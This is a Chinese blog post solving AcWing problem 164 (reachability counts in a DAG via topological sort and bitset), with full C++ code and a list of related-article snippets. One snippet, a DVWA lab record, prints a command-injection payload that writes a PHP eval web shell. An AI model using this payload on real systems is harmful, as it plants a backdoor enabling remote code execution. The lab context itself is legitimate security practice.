AcWing-164.可达性统计(拓扑排序 + 位运算)

原题链接:164. 可达性统计 - AcWing题库

题目描述:

题目

输入格式

输出格式

数据范围

输入样例:

输出样例:

思路 

AC代码:


题目描述:

题目

给定一张 𝑁 个点 𝑀 条边的有向无环图,分别统计从每个点出发能够到达的点的数量。

输入格式

第一行两个整数 𝑁,𝑀,接下来 𝑀 行每行两个整数 𝑥,𝑦,表示从 𝑥 到 𝑦 的一条有向边。

输出格式

输出共 𝑁 行,表示每个点能够到达的点的数量。

数据范围

1≤𝑁,𝑀≤30000,
1≤𝑥,𝑦≤𝑁

输入样例:
10 10
3 8
2 3
2 5
5 9
5 9
2 3
3 9
4 8
2 10
4 9
输出样例:
1
6
3
3
2
1
1
1
1
1

思路 

一开始我想到的是先把图存入邻接表,然后用dfs对每个点搜索可以达到的结点统计下来,类似于我的上一篇博客:AcWing-1562.微博转发-再谈图的存储结构-CSDN博客

但是微博转发这道题的数据范围远小于本题。如果用这个思路的话时间复杂度为O(N * (N + M) ),而1≤𝑁,𝑀≤30000,所以这道题我们用新的方法--拓扑排序 + 位运算。

拓扑排序:拓扑排序模板题:洛谷-家谱树-CSDN博客

位运算:详解位运算_异或的运算顺序-CSDN博客

为什么要使用拓扑排序呢?我们对这张有向无环图进行拓扑排序后会得到一个很好的性质:所有的边都是从前指向后。类似于下图:

为什么要使用位运算?对于第x个二进制串0100,我们认为是第x个结点指向第二个结点,即 1 为有边,0 无边。

接下来介绍一个C++STL中的bitset:

在C++中,bitset 是一个模板类,用于表示固定大小的位序列。bitset<N> 创建一个包含 N 位的位序列。例如,bitset<8> 表示一个包含8位的位序列,可以用来表示一个字节。

例如,在 bitset<N> f[N] 中,f 是一个数组,其中每个元素都是一个 bitset<N> 类型的对象。这意味着 f 是一个包含 Nbitset<N> 对象的数组。每个 bitset<N> 对象都可以独立地存储 N 位的信息。

再例如,如果 N 是 8,那么 f 就是一个包含 8 个 bitset<8> 对象的数组。每个 bitset<8> 对象可以表示一个字节,因此 f 可以存储 8 个字节的信息。

这种数据结构在处理位操作和位掩码时非常有用,尤其是在需要高效地进行位运算的场合.

假设x可以到达的点构成集合 f ( x ), 且存在有向边(x, y),那么f(x)等于{ x } U f ( y ) ,(解释: 每个 x 结点都可以到达他本身,同时可以到达 x 的后继结点 y 可以到达的点)。所以算出x后继结点的 f 值后,就可以计算出当前 x 结点的 f 值了。为了先计算出后续结点的 f 值,我们要利用拓扑排序完成之后得到的性质:所有的边都是从前指向后。即从后往前遍历拓扑序,计算每个结点的f值。例如:

f(4) = 0001(可以到达他本身) -----结点4可到达的点有:4

f(3) = 0010 U f(4) = 0010 | 0001 = 0011-----结点3可到达的点有:3,4

f(2) = 0100 U f(4) = 0100 | 0001 = 0101-----结点2可到达的点有:2,4

f(1) = 1000 U f(3) = 1000 | 0011 = 1011 -----结点1可到达的点有:1,3,4

AC代码:

#include<iostream>
#include<cstring>
#include<algorithm>
#include<queue>
#include<bitset>
#define MEM(x, y) memset(x, y, sizeof x)
using namespace std;

const int N = 30005, M = 30005;

int h[N], e[M], nx[M], idx = 0;
int dx[N], tp[N], cnt = 0;
bitset<N> f[N];
int n, m;

void add(int x, int y) {
	e[idx] = y;
	nx[idx] = h[x];
	h[x] = idx++;
	dx[y]++;//入度加1
}
bool topsort() {
	queue<int>q;
	for (int i = 1; i <= n; i++) {
		if (dx[i] == 0) {
			q.push(i);
		}
	}

	while (!q.empty()) {
		int x = q.front(); q.pop();
		tp[cnt++] = x;
		for (int i = h[x]; i != -1; i = nx[i]) {
			if (--dx[e[i]] == 0) q.push(e[i]);
		}
	}

	return n == cnt;
}
int main() {
	MEM(h, -1); MEM(dx, 0);
	cin >> n >> m;
	for (int i = 1; i <= m; i++) {
		int x, y; cin >> x >> y;
		add(x, y);
	}

	topsort();

	for (int i = cnt - 1; i >= 0; i--) {
		int x = tp[i];
		f[x][x] = 1;
		for (int j = h[x]; j != -1; j = nx[j]) {
			f[x] |= f[e[j]];
		}
	}

	for (int i = 1; i <= n; i++) {
		cout << f[i].count() << endl;//f[i].count() 是 bitset 类的一个成员函数,它返回 bitset 中设置为 1 的位的个数。
	}
	return 0;
}

 此题还有更多更优解法,不再一一介绍了,文章尚有不足,欢迎大佬们指正。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/948133.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Windows安装了pnpm后无法在Vscode中使用

Windows安装了pnpm后无法在Vscode中使用 解决方法&#xff1a; 以管理员身份打开 PowerShell 并执行以下命令后输入Y回车即可。 Set-ExecutionPolicy RemoteSigned -Scope CurrentUser之后就可以正常使用了

python学opencv|读取图像(二十五)使用cv2.putText()绘制文字进阶-垂直镜像文字

【1】引言 前序学习进程找那个&#xff0c;已经掌握了使用pythonopencv绘制常规文字和倾斜文字的基本技巧。相关链接如下&#xff1a; python学opencv|读取图像&#xff08;二十三&#xff09;使用cv2.putText()绘制文字-CSDN博客 python学opencv|读取图像&#xff08;二十四…

6.充放电相关实验(过压、欠压、过流、短路、过温、低温)演示

1.充放电演示 (1)一定要按照操作步骤来,先将电池板上的充放电开关一定要处于断开状态(字母O一边按下是断开,字母I一边按下是接通),然后夹上充电器的电源夹子到BMS控制板的PACK-、PACK+两端,然后给充电器插上电源(如果使用自己的充电器一定要注意不要大于21V),然后拨动…

解决HBuilderX报错:未安装内置终端插件,是否下载?或使用外部命令行打开。

版权声明 本文原创作者&#xff1a;谷哥的小弟作者博客地址&#xff1a;http://blog.csdn.net/lfdfhl 错误描述 在HBuilderX中执行npm run build总是提醒下载插件&#xff1b;图示如下&#xff1a; 但是&#xff0c;下载总是失败。运行项目时候依然弹出上述提醒。 解决方案 …

【小程序开发】- 小程序版本迭代指南(版本发布教程)

一&#xff0c;版本号 版本号是小程序版本的标识&#xff0c;通常由一系列数字组成&#xff0c;如 1.0.0、1.1.0 等。版本号的格式通常是 主版本号.次版本号.修订号 主版本号&#xff1a;当小程序有重大更新或不兼容的更改时&#xff0c;主版本号会增加。 次版本号&#xff1a…

基于微信小程序投票评选系统的设计与实现ssm+论文源码调试讲解

第4章 系统设计 4.1 系统设计的原则 在系统设计过程中&#xff0c;也需要遵循相应的设计原则&#xff0c;这些设计原则可以帮助设计者在短时间内设计出符合设计规范的设计方案。设计原则主要有可靠性&#xff0c;安全性&#xff0c;可定制化&#xff0c;可扩展性&#xff0c;可…

库伦值自动化功耗测试工具

1. 功能介绍 PlatformPower工具可以自动化测试不同场景的功耗电流&#xff0c;并可导出为excel文件便于测试结果分析查看。测试同时便于后续根据需求拓展其他自动化测试用例。 主要原理&#xff1a;基于文件节点 coulomb_count 实现&#xff0c;计算公式&#xff1a;电流&…

AWS re:Invent 的创新技术

本月早些时候&#xff0c;Amazon 于 12 月 1 日至 5 日在内华达州拉斯维加斯举行了为期 5 天的 re&#xff1a;Invent 大会。如果您从未参加过 re&#xff1a;Invent 会议&#xff0c;那么最能描述它的词是“巨大”——不仅从与会者人数&#xff08;60,000 人&#xff09;来看&…

DVWA 命令注入写shell记录

payload 127.0.0.1;echo "<?php eval($_POST["md"]);?>" > md.php 成功写入&#xff0c;访问查看 成功解析

lua库介绍:数据处理与操作工具库 - leo

leo库简介 leo 模块的创作初衷旨在简化数据处理的复杂流程&#xff0c;提高代码的可读性和执行效率&#xff0c;希望leo 模块都能为你提供一系列便捷的工具函数&#xff0c;涵盖因子编码、多维数组创建、数据框构建、列表管理以及管道操作等功能。 要使用 Leo 模块&#xff0c;…

第10章图10.1-10.5《分析模式》原图和UML图对比

DDD领域驱动设计批评文集 做强化自测题获得“软件方法建模师”称号 《软件方法》各章合集

用Tkinter制作一个用于合并PDF文件的小程序

需要安装PyPDF2库&#xff0c;具体原代码如下&#xff1a; # -*- coding: utf-8 -*- """ Created on Sun Dec 29 14:44:20 2024author: YBK """import PyPDF2 import os import tkinter as tk import windndpdf_files [] def dragged_files(f…

K210识别技术简介与基础使用方法

目录 一、K210芯片概述 二、K210的硬件配置与开发环境 1. 硬件配置 2. 开发环境 三、K210的识别技术基础 1. 图像识别 2. 语音识别 四、K210识别技术的基础使用方法 1. 图像识别基础使用 2. 语音识别基础使用 五、K210识别技术的应用场景 六、总结与展望 一、K210芯…

Linux下实现磁盘挂载

一&#xff1a;查看磁盘挂载和分区情况 使用如下命令查看磁盘的挂载和分区情况 fdisk -l 如上可以看出/dev/sdb未进行挂载分区 二&#xff1a;磁盘分区 1:分区 fdisk /dev/sdb 根据上图中的红框内的信息进行操作 2&#xff1a;检查是否分区成功 fdisk -l 如上可以看到/d…

009:传统计算机视觉之边缘检测

本文为合集收录&#xff0c;欢迎查看合集/专栏链接进行全部合集的系统学习。 合集完整版请参考这里。 本节来看一个利用传统计算机视觉方法来实现图片边缘检测的方法。 什么是边缘检测&#xff1f; 边缘检测是通过一些算法来识别图像中物体之间或者物体与背景之间的边界&…

Java SpringBoot使用Apache POI导入导出Excel文件

点击下载《Java SpringBoot使用Apache POI导入导出Excel文件(源代码)》 1. Apache POI 简介 Apache POI 是一个强大的 Java 库&#xff0c;用于处理 Microsoft Office 文档&#xff0c;包括 Excel 文件&#xff08;.xls 和 .xlsx&#xff09;。在 Java Spring Boot 项目中&am…

基于Spring Boot的健康饮食管理系统

一、系统架构与技术栈 系统架构&#xff1a;系统通常采用典型的三层架构设计&#xff0c;分为表现层、业务逻辑层和数据访问层。表现层负责与用户进行交互&#xff0c;展示信息和接收用户输入&#xff1b;业务逻辑层处理系统的核心业务&#xff0c;如用户信息管理、饮食记录分…

Maven 详细配置:Maven 项目 POM 文件解读

Maven 是 Java 开发领域中广泛使用的项目管理和构建工具&#xff0c;通过其核心配置文件——POM&#xff08;Project Object Model&#xff09;文件&#xff0c;开发者能够定义项目的基本信息、依赖关系、插件配置以及构建生命周期等关键要素。POM 文件不仅是 Maven 项目的核心…

计算机网络 (23)IP层转发分组的过程

一、IP层的基本功能 IP层&#xff08;Internet Protocol Layer&#xff09;是网络通信模型中的关键层&#xff0c;属于OSI模型的第三层&#xff0c;即网络层。它负责在不同网络之间传输数据包&#xff0c;实现网络间的互联。IP层的主要功能包括寻址、路由、分段和重组、错误检测…

pip安装paddle失败

一、pip安装paddle失败&#xff0c;报错如下 Preparing metadata (setup.py) ... error error: subprocess-exited-with-error import common, dual, tight, data, prox ModuleNotFoundError: No module named common [end of output] 二、解决方法&#xff1a; 按照提示安装对…